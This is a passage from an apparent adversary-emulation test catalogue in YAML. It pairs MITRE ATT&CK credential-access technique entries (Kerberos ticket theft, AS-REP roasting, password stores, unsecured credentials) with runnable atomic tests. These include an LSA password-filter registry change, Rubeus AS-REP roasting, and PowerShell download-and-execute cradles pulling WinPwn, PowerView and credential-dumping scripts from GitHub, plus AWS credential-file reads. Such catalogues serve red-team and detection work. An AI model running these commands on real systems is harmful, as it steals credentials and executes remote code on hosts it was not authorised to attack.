          $lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
          $AuthenticationPackagesValues = $lsaKey.GetValue("Authentication Packages")
          $AuthenticationPackagesValues += $passwordFilterName
          Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Authentication Packages" $AuthenticationPackagesValues
        cleanup_command: |
          reg.exe import "PathToAtomicsFolder\T1556.002\lsa_backup.reg"
          remove-item C:\Windows\System32\#{dll_name}
        name: powershell
        elevation_required: true
  T1558.004:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Yossi Nisani, Cymptom
      - James Dunn, @jamdunnDFW, EY
      - Swapnil Kumbhar
      - Jacques Pluviose, @Jacqueswildy_IT
      - Dan Nutting, @KerberToast
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b
      type: attack-pattern
      created: '2020-08-24T13:43:00.028Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1558.004
        url: https://attack.mitre.org/techniques/T1558/004
      - source_name: Harmj0y Roasting AS-REPs Jan 2017
        url: http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/
        description: HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved August
          24, 2020.
      - source_name: Microsoft Kerberos Preauth 2014
        url: https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx
        description: 'Sanyal, M.. (2014, March 18). Kerberos Pre-Authentication: Why
          It Should Not Be Disabled. Retrieved August 25, 2020.'
      - source_name: Stealthbits Cracking AS-REP Roasting Jun 2019
        url: https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/
        description: Jeff Warren. (2019, June 27). Cracking Active Directory Passwords
          with AS-REP Roasting. Retrieved August 24, 2020.
      - description: Medin, T. (2014, November). Attacking Kerberos - Kicking the
          Guard Dog of Hades. Retrieved March 22, 2018.
        source_name: SANS Attacking Kerberos Nov 2014
        url: https://redsiege.com/kerberoast-slides
      - url: https://adsecurity.org/?p=2293
        description: Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets
          Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory
          Domain. Retrieved March 22, 2018.
        source_name: AdSecurity Cracking Kerberos Dec 2015
      - url: https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/
        description: Bani, M. (2018, February 23). Detecting Kerberoasting activity
          using Azure Security Center. Retrieved March 23, 2018.
        source_name: Microsoft Detecting Kerberoasting Feb 2018
      - source_name: Microsoft 4768 TGT 2017
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768
        description: 'Microsoft. (2017, April 19). 4768(S, F): A Kerberos authentication
          ticket (TGT) was requested. Retrieved August 24, 2020.'
      modified: '2021-06-07T19:23:33.039Z'
      name: 'Steal or Forge Kerberos Tickets: AS-REP Roasting'
      description: "Adversaries may reveal credentials of accounts that have disabled
        Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002)
        Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) \n\nPreauthentication
        offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002).
        When enabled, a user requesting access to a resource initiates communication
        with the Domain Controller (DC) by sending an Authentication Server Request
        (AS-REQ) message with a timestamp that is encrypted with the hash of their
        password. If and only if the DC is able to successfully decrypt the timestamp
        with the hash of the user’s password, it will then send an Authentication
        Server Response (AS-REP) message that contains the Ticket Granting Ticket
        (TGT) to the user. Part of the AS-REP message is signed with the user’s password.(Citation:
        Microsoft Kerberos Preauth 2014)\n\nFor each account found without preauthentication,
        an adversary may send an AS-REQ message without the encrypted timestamp and
        receive an AS-REP message with TGT data which may be encrypted with an insecure
        algorithm such as RC4. The recovered encrypted data may be vulnerable to offline
        [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks
        similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003)
        and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan
        2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \n\nAn account
        registered to a domain, with or without special privileges, can be abused
        to list all domain accounts that have preauthentication disabled by utilizing
        Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        with an LDAP filter. Alternatively, the adversary may send an AS-REQ message
        for each user. If the DC responds without errors, the account does not require
        preauthentication and the AS-REP message will already contain the encrypted
        data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits
        Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003),
        [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral
        Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation:
        SANS Attacking Kerberos Nov 2014)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_detection: 'Enable Audit Kerberos Service Ticket Operations to log Kerberos
        TGS service ticket requests. Particularly investigate irregular patterns of
        activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within
        a small time frame, especially if they also request RC4 encryption [Type 0x17],
        pre-authentication not required [Type: 0x0]).(Citation: AdSecurity Cracking
        Kerberos Dec 2015)(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation:
        Microsoft 4768 TGT 2017)'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Credential Request'
      x_mitre_permissions_required:
      - User
      x_mitre_system_requirements:
      - Valid domain account
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1558.004
    atomic_tests:
    - name: Rubeus asreproast
      auto_generated_guid: 615bd568-2859-41b5-9aed-61f6a88e48dd
      description: |
        Information on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast
        This build targets .NET 4.5.  If targeting a different version you will need to compile Rubeus
      supported_platforms:
      - windows
      input_arguments:
        local_folder:
          description: Local path of Rubeus executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads
        local_executable:
          description: name of the rubeus executable
          type: string
          default: rubeus.exe
        out_file:
          description: file where command results are stored
          type: string
          default: rubeus_output.txt
        rubeus_url:
          description: URL of Rubeus executable
          type: url
          default: https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Computer must be domain joined

          '
        prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain)
          {exit 0} else {exit 1}

          '
        get_prereq_command: 'Write-Host Joining this computer to a domain must be
          done manually

          '
      - description: 'Rubeus must exist

          '
        prereq_command: 'if(Test-Path -Path "#{local_folder}\#{local_executable}")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-Webrequest -Uri #{rubeus_url} -OutFile #{local_folder}\#{local_executable}
      executor:
        command: 'cmd.exe /c "#{local_folder}\#{local_executable}" asreproast /outfile:"#{local_folder}\#{out_file}"

          '
        cleanup_command: 'Remove-Item "#{local_folder}\#{out_file}" -ErrorAction Ignore

          '
        name: powershell
        elevation_required: false
    - name: Get-DomainUser with PowerView
      auto_generated_guid: d6139549-7b72-4e48-9ea1-324fc9bdf88a
      description: 'Utilizing PowerView, run Get-DomainUser to identify domain users.
        Upon execution, progress and info about users within the domain being scanned
        will be displayed.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose
        name: powershell
    - name: WinPwn - PowerSharpPack - Kerberoasting Using Rubeus
      auto_generated_guid: 8c385f88-4d47-4c9a-814d-93d9deec8c71
      description: PowerSharpPack - Kerberoasting Using Rubeus technique via function
        of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1')
          Invoke-Rubeus -Command "asreproast /format:hashcat /nowrap"
        name: powershell
  T1558:
    technique:
      modified: '2024-03-01T16:58:02.395Z'
      name: Steal or Forge Kerberos Tickets
      description: |
        Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting.  Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.

        On Windows, the built-in <code>klist</code> utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)

        Linux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the "ccache". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in <code>/var/lib/sss/secrets/secrets.ldb</code> as well as the corresponding key located in <code>/var/lib/sss/secrets/.secrets.mkey</code>. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)


        Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the <code>/etc/krb5.conf</code> configuration file and the <code>KRB5CCNAME</code> environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using <code>kinit</code>, <code>klist</code>, <code>ktutil</code>, and <code>kcc</code> built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Tim (Wadhwa-)Brown
      - Cody Thomas, SpecterOps
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor for anomalous Kerberos activity, such as malformed
        or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634),
        RC4 encryption within ticket granting tickets (TGTs), and ticket granting
        service (TGS) requests without preceding TGT requests.(Citation: ADSecurity
        Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation:
        CERT-EU Golden Ticket Protection)\n\nMonitor the lifetime of TGT tickets for
        values that differ from the default domain duration.(Citation: Microsoft Kerberos
        Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)
        being used to move laterally. \n\nEnable Audit Kerberos Service Ticket Operations
        to log Kerberos TGS service ticket requests. Particularly investigate irregular
        patterns of activity (ex: accounts making numerous requests, Event ID 4769,
        within a small time frame, especially if they also request RC4 encryption
        [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation:
        AdSecurity Cracking Kerberos Dec 2015)\n\nMonitor for unexpected processes
        interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords
        from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002)
        access the LSA Subsystem Service (LSASS) process by opening the process, locating
        the LSA secrets key, and decrypting the sections in memory where credential
        details, including Kerberos tickets, are stored.\n\nMonitor for unusual processes
        accessing <code>secrets.ldb</code> and <code>.secrets.mkey</code> located
        in <code>/var/lib/sss/secrets/</code>."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Logon Session: Logon Session Metadata'
      - 'Active Directory: Active Directory Credential Request'
      - 'File: File Access'
      x_mitre_system_requirements:
      - Kerberos authentication enabled
      type: attack-pattern
      id: attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a
      created: '2020-02-11T19:12:46.830Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1558
        external_id: T1558
      - source_name: CERT-EU Golden Ticket Protection
        description: Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016,
          April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.
        url: https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf
      - source_name: Microsoft Detecting Kerberoasting Feb 2018
        description: Bani, M. (2018, February 23). Detecting Kerberoasting activity
          using Azure Security Center. Retrieved March 23, 2018.
        url: https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/
      - source_name: Kekeo
        description: Benjamin Delpy. (n.d.). Kekeo. Retrieved October 4, 2021.
        url: https://github.com/gentilkiwi/kekeo
      - source_name: SpectorOps Bifrost Kerberos macOS 2019
        description: Cody Thomas. (2019, November 14). When Kirbi walks the Bifrost.
          Retrieved October 6, 2021.
        url: https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f
      - source_name: Medium Detecting Attempts to Steal Passwords from Memory
        description: French, D. (2018, October 2). Detecting Attempts to Steal Passwords
          from Memory. Retrieved October 11, 2019.
        url: https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea
      - source_name: Stealthbits Detect PtT 2019
        description: Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket
          Attacks. Retrieved February 27, 2020.
        url: https://blog.stealthbits.com/detect-pass-the-ticket-attacks
      - source_name: macOS kerberos framework MIT
        description: Massachusetts Institute of Technology. (2007, October 27). Kerberos
          for Macintosh Preferences Documentation. Retrieved October 6, 2021.
        url: http://web.mit.edu/macdev/KfM/Common/Documentation/preferences.html
      - source_name: MIT ccache
        description: 'Massachusetts Institute of Technology. (n.d.). MIT Kerberos
          Documentation: Credential Cache. Retrieved October 4, 2021.'
        url: https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html
      - source_name: AdSecurity Cracking Kerberos Dec 2015
        description: Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets
          Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory
          Domain. Retrieved March 22, 2018.
        url: https://adsecurity.org/?p=2293
      - source_name: ADSecurity Detecting Forged Tickets
        description: Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket
          (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December
          23, 2015.
        url: https://adsecurity.org/?p=1515
      - source_name: Microsoft Kerberos Golden Ticket
        description: Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated).
          Retrieved February 27, 2020.
        url: https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285
      - source_name: Microsoft Klist
        description: Microsoft. (2021, March 3). klist. Retrieved October 14, 2021.
        url: https://docs.microsoft.com/windows-server/administration/windows-commands/klist
      - source_name: ADSecurity Kerberos Ring Decoder
        description: Sean Metcalf. (2014, September 12). Kerberos, Active Directory’s
          Secret Decoder Ring. Retrieved February 27, 2020.
        url: https://adsecurity.org/?p=227
      - source_name: Brining MimiKatz to Unix
        description: Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing
          Mimikatz et al to UNIX. Retrieved October 13, 2021.
        url: https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf
      - source_name: Linux Kerberos Tickets
        description: Trevor Haskell. (2020, April 1). Kerberos Tickets on Linux Red
          Teams. Retrieved October 4, 2021.
        url: https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1555:
    technique:
      modified: '2024-02-26T14:19:09.417Z'
      name: Credentials from Password Stores
      description: 'Adversaries may search for common password storage locations to
        obtain user credentials.(Citation: F-Secure The Dukes) Passwords are stored
        in several places on a system, depending on the operating system or application
        holding the credentials. There are also specific applications and services
        that store passwords to make them easier for users to manage and maintain,
        such as password managers and cloud secrets vaults. Once credentials are obtained,
        they can be used to perform lateral movement and access restricted information.'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_deprecated: false
      x_mitre_detection: Monitor system calls, file read events, and processes for
        suspicious activity that could indicate searching for a password  or other
        activity related to performing keyword searches (e.g. password, pwd, login,
        store, secure, credentials, etc.) in process memory for credentials. File
        read events should be monitored surrounding known password storage applications.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - IaaS
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'File: File Access'
      - 'Command: Command Execution'
      - 'Process: Process Access'
      - 'Cloud Service: Cloud Service Enumeration'
      - 'Process: Process Creation'
      - 'Process: OS API Execution'
      type: attack-pattern
      id: attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0
      created: '2020-02-11T18:48:28.456Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1555
        external_id: T1555
      - source_name: F-Secure The Dukes
        description: 'F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian
          cyberespionage. Retrieved December 10, 2015.'
        url: https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1555
    atomic_tests:
    - name: Extract Windows Credential Manager via VBA
      auto_generated_guid: 234f9b7c-b53d-4f32-897b-b880a6c9ea7b
      description: |
        This module will extract the credentials found within the Windows credential manager and dump
        them to $env:TEMP\windows-credentials.txt
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft Word must be installed

          '
        prereq_command: |
          try {
            New-Object -COMObject "word.Application" | Out-Null
            $process = "winword"
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft Word manually
          to meet this requirement"

          '
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1555\src\T1555-macrocode.txt" -officeProduct "Word" -sub "Extract"
        cleanup_command: 'Remove-Item "$env:TEMP\windows-credentials.txt" -ErrorAction
          Ignore

          '
        name: powershell
    - name: Dump credentials from Windows Credential Manager With PowerShell [windows
        Credentials]
      auto_generated_guid: c89becbe-1758-4e7d-a0f4-97d2188a23e3
      description: This module will extract the credentials from Windows Credential
        Manager
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: "IEX (IWR 'https://raw.githubusercontent.com/skar4444/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1'
          -UseBasicParsing); Get-PasswordVaultCredentials -Force   \n"
    - name: Dump credentials from Windows Credential Manager With PowerShell [web
        Credentials]
      auto_generated_guid: 8fd5a296-6772-4766-9991-ff4e92af7240
      description: This module will extract the credentials from Windows Credential
        Manager
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: 'IEX (IWR ''https://raw.githubusercontent.com/skar4444/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1''
          -UseBasicParsing); Get-CredManCreds -Force

          '
    - name: Enumerate credentials from Windows Credential Manager using vaultcmd.exe
        [Windows Credentials]
      auto_generated_guid: 36753ded-e5c4-4eb5-bc3c-e8fba236878d
      description: This module will enumerate credentials stored in Windows Credentials
        vault of Windows Credential Manager using builtin utility vaultcmd.exe
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: 'vaultcmd /listcreds:"Windows Credentials" /all

          '
    - name: Enumerate credentials from Windows Credential Manager using vaultcmd.exe
        [Web Credentials]
      auto_generated_guid: bc071188-459f-44d5-901a-f8f2625b2d2e
      description: This module will enumerate credentials stored in Web Credentials
        vault of Windows Credential Manager using builtin utility vaultcmd.exe
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: 'vaultcmd /listcreds:"Web Credentials" /all

          '
    - name: WinPwn - Loot local Credentials - lazagne
      auto_generated_guid: '079ee2e9-6f16-47ca-a635-14efcd994118'
      description: "The [LaZagne project](https://github.com/AlessandroZ/LaZagne)
        is an open source application used to retrieve lots of passwords stored on
        a local computer. \nEach software stores its passwords using different techniques
        (plaintext, APIs, custom algorithms, databases, etc.). \nThis tool has been
        developed for the purpose of finding these passwords for the most commonly-used
        software"
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          lazagnemodule -consoleoutput -noninteractive
        name: powershell
    - name: WinPwn - Loot local Credentials - Wifi Credentials
      auto_generated_guid: afe369c2-b42e-447f-98a3-fb1f4e2b8552
      description: Loot local Credentials - Wifi Credentials technique via function
        of WinPwn
      supported_platforms:
      - windows
      executor:
        command: "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object
          net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nwificreds
          -consoleoutput -noninteractive  "
        name: powershell
    - name: WinPwn - Loot local Credentials - Decrypt Teamviewer Passwords
      auto_generated_guid: db965264-3117-4bad-b7b7-2523b7856b92
      description: Loot local Credentials - Decrypt Teamviewer Passwords technique
        via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object
          net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\ndecryptteamviewer
          -consoleoutput -noninteractive  "
        name: powershell
  T1552:
    technique:
      modified: '2024-04-15T21:33:12.892Z'
      name: Unsecured Credentials
      description: 'Adversaries may search compromised systems to find and obtain
        insecurely stored credentials. These credentials can be stored and/or misplaced
        in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)),
        operating system or application-specific repositories (e.g. [Credentials in
        Registry](https://attack.mitre.org/techniques/T1552/002)),  or other specialized
        files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).(Citation:
        Brining MimiKatz to Unix)'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Austin Clark, @c2defense
      x_mitre_deprecated: false
      x_mitre_detection: |-
        While detecting adversaries accessing credentials may be difficult without knowing they exist in the environment, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.

        Monitor for suspicious file access activity, specifically indications that a process is reading multiple files in a short amount of time and/or using command-line arguments  indicative of searching for credential material (ex: regex patterns). These may be indicators of automated/scripted credential access behavior.

        Monitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like "history" instead of commands like <code>cat ~/.bash_history</code>.

        Additionally, monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      - Network
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Access'
      - 'Application Log: Application Log Content'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'File: File Access'
      - 'User Account: User Account Authentication'
      type: attack-pattern
      id: attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517
      created: '2020-02-04T12:47:23.631Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1552
        external_id: T1552
      - source_name: Brining MimiKatz to Unix
        description: Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing
          Mimikatz et al to UNIX. Retrieved October 13, 2021.
        url: https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1552
    atomic_tests:
    - name: AWS - Retrieve EC2 Password Data using stratus
      auto_generated_guid: a21118de-b11e-4ebd-b655-42f11142df0c
      description: 'This atomic runs an API call GetPasswordData from a role that
        does not have permission to do so. This simulates an attacker attempting to
        retrieve RDP passwords on a high number of Windows EC2 instances. This atomic
        test leverages a tool called stratus-red-team built by DataDog (https://github.com/DataDog/stratus-red-team).
        Stratus Red Team is a self-contained binary. You can use it to easily detonate
        offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.credential-access.ec2-get-password-data/

        '
      supported_platforms:
      - linux
      - macos
      - iaas:aws
      input_arguments:
        stratus_path:
          description: Path of stratus binary
          type: path
          default: "$PathToAtomicsFolder/T1552/src"
        aws_region:
          description: AWS region to detonate
          type: string
          default: us-west-2
      dependency_executor_name: sh
      dependencies:
      - description: 'Stratus binary must be present at the (#{stratus_path}/stratus)

          '
        prereq_command: 'if [ -f #{stratus_path}/stratus ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: "if [ \"$(uname)\" == \"Darwin\" ]\nthen DOWNLOAD_URL=$(curl
          -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest
          | grep browser_download_url | grep Darwin_x86_64 | cut -d '\"' -f 4); wget
          -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n  tar
          -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/\nelif
          [ \"$(expr substr $(uname) 1 5)\" == \"Linux\" ]\nthen DOWNLOAD_URL=$(curl
          -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest
          | grep browser_download_url | grep Linux_x86_64 | cut -d '\"' -f 4) \n  wget
          -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n  tar
          -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/\nfi\n"
      - description: 'Check if ~/.aws/credentials file has a default stanza is configured

          '
        prereq_command: 'cat ~/.aws/credentials | grep "default"

          '
        get_prereq_command: 'echo Please install the aws-cli and configure your AWS
          defult profile using: aws configure

          '
      executor:
        command: "export AWS_REGION=#{aws_region} \ncd #{stratus_path}\necho \"starting
          warmup\"\n./stratus warmup aws.credential-access.ec2-get-password-data\necho
          \"starting detonate\"\n./stratus detonate aws.credential-access.ec2-get-password-data
          --force\n"
        cleanup_command: |
          export AWS_REGION=#{aws_region}
          echo "Cleanup detonation"
          cd #{stratus_path}
          ./stratus cleanup --all
          rm -rf stratus*
        name: sh
        elevation_required: false
    - name: Search for Passwords in Powershell History
      auto_generated_guid: f9c3d0ab-479b-4019-945f-22ace2b1731a
      description: |
